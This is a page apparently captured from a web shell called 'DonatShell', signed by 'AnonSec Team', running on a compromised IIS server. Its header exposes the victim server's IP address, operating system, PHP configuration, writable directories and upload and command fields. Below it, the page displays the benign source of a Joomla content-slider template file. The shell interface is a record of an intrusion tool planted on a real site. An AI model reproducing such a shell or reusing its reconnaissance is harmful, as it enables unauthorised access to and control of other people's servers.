DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/app/webroot/news/modules/mod_bt_contentslider/tmpl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/app/webroot/news/modules/mod_bt_contentslider/tmpl/imgalign.php
<?php
/**
 * @package 	mod_bt_contentslider - BT ContentSlider Module
 * @version		1.4
 * @created		Oct 2011

 * @author		BowThemes
 * @email		support@bowthems.com
 * @website		http://bowthemes.com
 * @support		Forum - http://bowthemes.com/forum/
 * @copyright	Copyright (C) 2011 Bowthemes. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 *
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

?>
<?php if(count($list)>0) :?> 
	<div style="width:<?php echo $moduleWidthWrapper;?>">
	
	<div id="btcontentslider<?php echo $module->id; ?>"  style="display:none" class="bt-cs<?php echo $moduleclass_sfx? ' bt-cs'.$params->get('moduleclass_sfx'):'';?>">
		<?php if( $next_back && $totalPages  > 1  ) : ?>
			<a class="next" href="#">Next</a>
			<a class="prev" href="#">Prev</a>
		<?php endif; ?>
		<?php 
			$add_style = "";
			if( trim($params->get('content_title')) ){
			$add_style= "border: 1px solid #CFCFCF;padding:10px 0px;";
		?>
		<h3>
			<span><?php echo $params->get('content_title') ?> </span>
		</h3>
		<?php } ?>
		<div class="slides_container" style="width:<?php echo $moduleWidth.";".$add_style;?>">
			
			<?php foreach( $pages as $key => $list ): ?>
			
				<div class="slide" style="width:<?php echo $moduleWidth;?>">				
					
					<?php foreach( $list as $i => $row ): ?>
					
					<div class="bt-row <?php if($i==0) echo 'bt-row-first'; else if($i==count($list)-1) echo 'bt-row-last' ?>" style="width:<?php echo $itemWidth;?>%" >
		
						<div class="bt-inner">
								<?php if( $row->thumbnail ): ?>
									<a target="<?php echo $openTarget; ?>" class="bt-image-link" title="<?php echo $row->title;?>" href="<?php echo $row->link;?>">
									  <img <?php echo $imgClass ?>  src="<?php echo $row->thumbnail; ?>" alt="<?php echo $row->title?>"  style=" height:<?php echo $thumbHeight ;?>px; width:<?php echo $thumbWidth ;?>px; float:<?php echo $align_image;?>;margin-<?php echo $align_image=="left"? "right":"left";?>:5px" title="<?php echo $row->title?>" />
									</a> 
								<?php endif ; ?>
								<div class="bt-introtext">
									 <?php if( $show_category_name ): ?>
										<?php if($show_category_name_as_link) : ?>
										 <a style="display:inline;" class="bt-category" target="<?php echo $openTarget; ?>" title="<?php echo $row->category_title; ?>" href="<?php echo $row->categoryLink;?>">
										   <?php echo $row->category_title; ?><br />
										 </a>
										<?php else :?>
										<span style="display:inline;" class="bt-category">
										   <?php echo $row->category_title; ?><br />
										</span>
										 <?php endif; ?>
									<?php endif; ?>	
									  <?php if( $showTitle ): ?>
									 <a class="bt-title-nointro" target="<?php echo $openTarget; ?>" title="<?php echo $row->title; ?>" href="<?php echo $row->link;?>">
									   <?php echo $row->title_cut; ?>
									 </a>
									 <?php endif; ?>
								
									<?php if( $showAuthor || $showDate ): ?>
									<br />
									<?php if( $showAuthor ): ?>
									   <span class="bt-author"><?php 	echo JText::sprintf('BT_CREATEDBY' ,
						 				JHtml::_('link',JRoute::_($row->authorLink),$row->author)); ?></span>						  
									<?php endif; ?> 
									<?php if( $showDate ): ?>
									   <span class="bt-date"><?php echo JText::sprintf('BT_CREATEDON', $row->date); ?></span>						  
									<?php endif; ?>
									<?php endif; ?>
									<?php echo $show_intro? '<p>'.$row->description.'</p>':''; ?>
									<?php if( $showReadmore ) : ?>
									<p class="readmore">
									  <a  target="<?php echo $openTarget; ?>"  title="<?php echo $row->title;?>" href="<?php echo $row->link;?>">
										<?php echo JText::_('READ_MORE');?>
									  </a>
									</p>
									<?php endif; ?>
								</div>
						</div>				
					    <!-- bt-inner -->
					   
					</div> 			
					<!-- bt-row -->					
					<?php
						if($itemsPerCol > 1 && $i < count($list)-1){
							if(($i+1)%$itemsPerRow ==0){
								echo '<div class="bt-row-separate"></div>';
							}
						}
					?>
					
					<?php endforeach; ?>
					<div style="clear:both;"></div>
				
				</div>			
			<!-- bt-main-item page	-->	
			<?php endforeach; ?>			
			
		</div>
		
	
	</div> 
	<!-- bt-container -->   


  </div>
 <?php else : ?>
 <div> No result...</div>
 <?php endif; ?>
 <div style="clear:both;"></div>

Anon7 - 2022
AnonSec Team